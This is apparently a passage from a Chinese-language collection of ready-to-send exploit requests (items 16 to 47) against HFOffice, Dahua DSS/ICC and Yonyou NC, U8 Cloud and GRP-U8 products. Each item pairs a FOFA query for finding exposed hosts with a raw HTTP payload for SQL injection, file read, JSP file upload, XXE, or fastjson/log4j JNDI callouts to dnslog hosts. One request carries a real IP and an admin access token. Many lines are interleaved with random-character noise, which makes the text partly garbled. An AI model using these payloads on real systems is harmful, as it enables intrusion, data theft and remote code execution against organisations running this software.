Accept-Encoding: gzip

% M; Q  ^: |  A$ Q+ K! Z6 O& ?
. L5 Y3 e6 }7 M/ f8 G# e/ ?) a7 {16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
$ b9 T/ G5 r+ |( S0 ~. f  p- `# bpoc中调用函数计算1234的md5值
; y7 {! F  j4 e( k9 u  A, l/ NGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
& z4 ~" B! v% ^' x  h/ o1 _4 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
) D% z! Y6 f* tAccept: */*
- o. }" B) s" p% P+ P. V4 e) l/ v. RAccept-Language: en
Accept-Encoding: gzip

0 `6 k7 _+ z& A$ V9 ?: @8 u
17. 大华 DSS itcBulletin SQL 注入
& w0 a# C4 P# y7 ^8 W$ V. kFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
* y) j3 Y1 G! d( T: YHost: x.x.x.x
* O; }2 C$ b+ l2 C+ Z. K$ \7 X- ?0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
8 ~2 F2 j& T2 T9 {# ]; eAccept-Encoding: gzip

8 k, p+ b1 p, c8 b2 B<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
& Z3 y  I; J; d    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
1 B  o2 ^2 `2 z- O7 a; z1 V) |      <netMarkings>
- m* m0 S1 D5 t( E) a; i5 V5 _: u       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
" E/ }  Y1 u; Y7 p  k$ z& V( L      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
7 [% X9 O4 L1 F; {6 G; d% Y1 V2 g</s11:Envelope>
# C: |7 `0 O  F; z( o
/ i6 X+ n0 ^" b
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
7 o& }" I/ W$ q5 V( nGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
2 N8 }# \9 v' I$ f
- g3 w& ]/ i& g- n& `
2 M' g$ y! q) _+ N
9 x. T; X0 N6 b8 g# j, X+ V19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
* M9 f) |6 z3 h$ x: O  THost:
% f/ W4 M. A1 V6 N9 QUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 l1 h6 x7 @+ Q$ B; U1 R: EAccept-Encoding: gzip, deflate
Accept: */*
0 A6 F2 s, U# l( ?) MConnection: keep-alive
+ ^& f( u- h6 _1 S/ |( y+ H
  [" W' o. f+ T# {2 g7 l8 T. x& D: T
7 l" W1 g% e! _. w4 D8 Q; i20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
. H0 C7 m, i: s% @: M0 N; qGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
( n0 N0 g/ l& qHost: x.x.x.x
# j' ]8 |" H$ OUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" |6 o! ~6 [% yConnection: close
Accept: */*
6 P, T/ z! T! T7 `Accept-Language: en
Accept-Encoding: gzip
# {" u: H$ O3 ^3 F) _: I5 V5 A5 l& ^5 Y  d
' L  t; {0 u- k1 }- ?
21. 大华ICC智能物联综合管理平台random远程代码执行
: F* k: h% s" l" d% tFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
  e. x* ?, b" _' a; b' H& S% qHost: x.x.x.x
" m2 U+ S- V. n0 N+ F; oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
3 g: |1 m- a  e9 {Accept-Encoding: gzip
& F" D1 [& h0 ]% s% MConnection: close
Content-Type: application/json;charset=utf-8

4 N, m2 G4 C: `0 `0 _{
"a":{
% K4 n) {$ u% p   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
( t1 [9 o/ p  l2 q$ x  }""
}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
& y% h1 c7 s& M6 m, T& O- Z  G* yPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
" q# @8 F6 S( bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; w% z. @$ `9 ]; i! H3 \  lContent-Type: application/json;charset=utf-8
9 [3 _7 F; s: n% C+ \
# e8 Q7 k  W) I. c+ Y! H( _{
% c; U# V) L. ["loginName":"${jndi:ldap://dnslog}"
}


$ f( I& M# l* p) C- L
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
* `& d; u8 U# Z  B- ~( a( W& zFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: \5 j! u+ J* l% P; Q" }' Q8 M9 fHost: your-ip
6 ^8 F6 c0 n. k( \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: e# P% [4 J3 l5 K1 EContent-Type: application/json;charset=utf-8
" H2 x' O3 H2 W: {" \' uAccept-Encoding: gzip
Connection: close
" D& l. o/ a$ ?0 e! Q9 i% E
{
    "a":{
6 [" ^! i) g! Y7 \; S# B8 I        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

: `$ T1 e" g  n! R
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
% R9 |, |. e4 D) z  s& \Host: x.x.x.x
' X" M/ G& b0 ^( C$ M$ DUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
; O/ ~  Z/ V  j; }! j$ N+ s( UConnection: close
9 O9 a  \. X3 k( Y: a& ^. p1 `* oContent-Length: 449
Accept: */*
4 `& D# W# e; f% fAccept-Encoding: gzip
5 a; m6 u9 b9 d! u" w8 tContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

( P+ T, v2 q3 x+ `2 F-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
$ z. J: }% W2 |" @
% Z/ u6 k) F7 p: f# Y$ M<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
. Y) X) O2 w- p; W. s' M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; c7 l4 {$ K. d8 ^: h# f5 }5 yContent-Disposition: form-data; name="fname"

* b1 t/ G( @+ s: t2 ], T5 j\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
/ ?' N9 r5 l% u9 C-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
& I( |% X6 C5 ~/ y+ Q5 \

% y: f( e7 G/ k/ R25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
7 U+ ~, k1 s6 _Host: your-ip
# [& D6 Z/ u8 |# V+ x% J( hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
5 ~( j% z2 v# m! t  f& UAccept-Encoding: gzip, deflate
* y# D9 r4 x& s& uAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

5 {& O+ r( C+ V3 r/ Z0 M/ `5 vtype=1&dsname=ldap://dnslog
% o4 M( Z+ ^6 P' }9 Q
' Z: }! C2 V6 v/ y, ~

, `1 w9 v2 ]4 n3 j6 u' v26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ o" b) W/ k. d, G6 SHost: your-ip
2 {: X# c. U- \. d, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  o3 `& ^5 g2 c: A: ^6 K- F9 PAccept-Encoding: gzip, deflate
Accept: */*
- w- j1 c( ^% O! v0 ^Connection: keep-alive

: V  m- s7 }1 m2 m- R' J/ ~
/ L( h6 R4 w1 F27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
) ~5 b1 L1 ~" C- r" v/ w  r2 zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8

' z/ p4 d5 f2 ?& ?; q
28. 用友NC grouptemplet 任意文件上传
  c: V: \1 n: W( @! UFOFA：icon_hash="1085941792"
2 F$ n  h( d3 i$ R- H# t# I) `5 jPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
7 R; D# n$ f, THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
* j. E) }* _. g1 |) l
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

6 a" x: O0 w; D; m0 Y: |% D<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
0 ]- T" d8 D1 k" @2 V' l) p4 D# C! k

/uapim/static/pages/nc/head.jsp
  M8 H2 x& B; N! t/ ]
7 @9 R, i2 o. c' K29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
  S, a; L2 q6 FGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! M' W% T; d) y' j5 _/ iHost: your-ip
" M! x- h) |8 ?6 _3 \0 A5 I8 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* [) d7 X* |% @  H, F0 bContent-Type: application/x-www-form-urlencoded
! R' d4 i$ o. P8 f/ c; }5 [8 F" ^Accept-Encoding: gzip, deflate
Accept: */*
: I) J; J  w# i2 g7 T' X( F! _$ HConnection: keep-alive

' B) U3 U+ N0 p3 Q% k3 \
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
# o( K4 X. E2 U: S8 r' U$ S8 dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
6 Z: |, _+ o" b* K" pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 @9 b2 e4 e) j! A2 s6 fConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
, ~4 \/ h1 O4 AContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
6 `- K1 K; q) `/ R; f( v+ QContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


& l6 o! f( V$ w; R6 p31. 用友NC runStateServlet SQL注入
version<=6.5
8 f6 a3 ]$ d: D( A# }. X+ aFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- t+ @0 D( c2 V/ CHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! L8 j$ D0 @, d% C) D: c" XContent-Type: application/x-www-form-urlencoded
, X6 N. U2 F- g, ^# G* e

32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  r: {/ ?! g$ L  J5 @- r+ V, f) JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 @7 H) m: o# q5 e3 QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
* N: _9 j, g' E- h$ U. dAccept: */*
1 G+ X9 K& y( y& E; ]" cConnection: keep-alive
" p, ~: @5 p4 p2 e* y5 O
3 g1 t! F9 l' G8 M3 w' U
/ U0 Y4 i# D$ x1 D: R8 r7 M. r, M" U33. 用友NC downTax/download SQL注入
) D( k; P, o' ?2 Pversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ E0 ~) f8 e4 B5 x! nAccept-Encoding: gzip, deflate
) `7 d4 }+ p* P  ]Accept: */*
  n, ], h7 k, q: m/ _8 YConnection: keep-alive
* W1 M- o# r. M" }

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
4 W! j* E+ C) t$ ]- O6 d) UGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 o3 H( J4 M: T4 a& V3 RHost: your-ip
/ g7 \& E9 e/ k- v/ x$ l# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
7 Q, P" E+ }* k( \+ z3 \Accept: */*
Connection: keep-alive
3 M% ~* s$ Z5 ^+ ^
- r* K8 h& A9 l7 z9 s6 U
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
+ b- |# h! h. d5 E& {POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
/ F) ~" }! P; o3 U( F5 r7 i( fConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
+ A" D4 Y7 }0 k; ?( h+ r. UContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
. b5 A) w0 `$ F7 A7 @
<%out.println(1111*1111);%>
* ]9 [" ~/ B0 n1 x  }  m--fd28cb44e829ed1c197ec3bc71748df0--
0 ^3 V% v. ], R& |. E7 X

36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
: n  T2 Y+ K( q# z- @- sContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 U, I) t/ `9 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

3 B6 X$ J8 b% x6 Jmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

9 T; {7 `# ~7 Z- k5 F4 C7 c9 C
37. 用友NC-Cloud IUpdateService XXE
( k- N5 n1 ?* [. JFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
5 O  m% E: f7 v, j& J7 CHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
6 Z1 O' t1 G  `7 ~Content-Length: 421
, _3 c. U8 _" o' ?4 x0 j$ kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
5 _( u( k+ }6 Z8 c; X5 TSOAPAction: urn:getResult
: o$ g& v, m0 N$ s9 VUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
2 y* o- O+ f6 A. X<soapenv:Header/>
3 h# G0 ], `8 v  O2 A$ |0 U<soapenv:Body>
  U. J9 n/ e( t; E5 C/ U: [: k<iup:getResult>
<!--type: string-->
; v5 e' t# ~$ S" @<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
$ ?, |% E0 E; n' U& w' v/ h<xxx/>]]></iup:string>
1 L7 h  g: V1 D2 ~2 U' p% P</iup:getResult>
& b! X: N3 o" P, K1 R- y</soapenv:Body>
2 D& `4 u  R% e% N4 D! Q</soapenv:Envelope>

) }) B% {2 s# ~/ T

% D8 z+ {' f7 `- g8 Z0 J1 D38. 用友U8 Cloud smartweb2.RPC.d XXE
- H( ]8 V% M1 Z* G# W1 W% ]FOFA：app="用友-U8-Cloud"
( N9 ]0 j2 ?5 L3 t5 g( W0 ]POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
: N  a3 U0 _5 u) v1 u& ?+ NHost: 192.168.40.131:8088
( s/ [+ Z- k# ?9 ~6 v" wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
& _( R: L) K( u8 R2 l0 E1 eContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
% D0 p5 o/ \& b1 k% m6 DAccept-Language: zh-CN,zh;q=0.9
% g, z! n+ c, O2 }Connection: close
Content-Type: application/x-www-form-urlencoded
$ ]: g  g) Y) T$ J. G
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

0 `3 u: t$ ~) q; R
- p$ w, m8 B' C39. 用友U8 Cloud RegisterServlet SQL注入
% T& m- M8 Y4 t1 H9 |  FFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
0 Y& D* ~# G0 A3 C- HHost: 192.168.86.128:8089
6 q- ]! I! g5 B9 `- M# N9 ], L" _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
7 b. q# K1 Q* S  p: V; GAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
0 M* ^. B7 p, K# U% i# {2 k

40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
! i% H* `. X4 x* k8 Y  cPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
5 X* C/ [9 ~! ]" ], }4 ]0 V& QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: ~5 D  a6 i7 o# q( a, W5 gContent-Type: text/xml
' U( d2 m* {+ }1 \5 ^Connection: close
% H$ K8 A, W" `$ p+ |5 S6 a& c
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
: V$ o$ A& y! V# F, X
/ G: P) l3 V& c& b0 c
* y3 n7 y" H" W/ f. ^% o8 P41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
9 |! O- G4 q+ z- A# o3 q+ O3 bGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
0 R1 c' X8 Y6 L& y6 j' e# V9 {Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( r# m- n5 v3 Q( L" Y- [Content-Type: application/json
Accept-Encoding: gzip
Connection: close
9 L- o6 J4 S' e# Y
1 M  X! C# V. u# X/ T9 _
( E' b( m/ J, ?& W6 u42. 用友GRP-U8 SmartUpload01 文件上传
$ F# x* W) v# \FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
; }' v! c% ?1 [0 S$ GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

( i$ _% a! t: X) e
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
9 i! d' A' H3 Q9 m! c% I8 p5 F
' M! {- l+ P: F& c; {; b8 r4 p  S% X43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
* c% P; G+ ~# PHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 ?) [/ j& L( Y% fConnection: close
SOAPAction:
) Z( L! @2 `! ?2 gContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
7 p3 r; C. o& f( P# g   <soapenv:Header/>
6 _) `2 u: |7 ^: N   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
7 ~) G% W1 |% q. F4 b' z! Z   </soapenv:Body>
</soapenv:Envelope>
& W! i# x% c; s0 C; a0 Q

; U: ~  O! T# i' h7 ^! R44. 用友GRP-U8 bx_dj_check.jsp SQL注入
: K, U/ c3 F' h. ?5 K' L% B$ HFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
) u3 s3 y5 u' OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 V, y2 d3 H1 C9 k4 M# XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) Y1 r+ J- `$ Y( Z! s" V. L8 |Connection: close
1 u; W. ^0 q; |. w

45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
5 t; m; S; J/ U& R* N( rPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
: |/ G, b$ C% B' ~6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
. W* N% Z8 O7 Y3 ]Connection: close
' M2 _6 Y: o/ g" f/ jContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 B" F, H% R9 S) [6 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# }; s1 R* O) n5 ^" _2 d  _$ N1 gContent-Type: application/x-www-form-urlencoded
  t. N/ d. Z4 P" f% CAccept-Encoding: gzip

6 d9 `7 F/ J9 G( MreqData=<?xml version="1.0"?>
- K2 F* R. S4 h<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
  d" i0 w2 p' @% f% p1 W
. i# d, v5 E$ A+ t; Y  E, ?: }
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% y2 N. |0 a' m' Q4 hFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 Y# J* w6 q( F5 K9 o9 F5 F8 M4 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" r6 k& m1 t9 v, `. m7 {Accept-Language: zh-CN,zh;q=0.9
& \0 z/ H" J# x; |& i' |Connection: close


! b) r( S8 \7 a8 L47. 用友GRP A++Cloud 政府财务云 任意文件读取
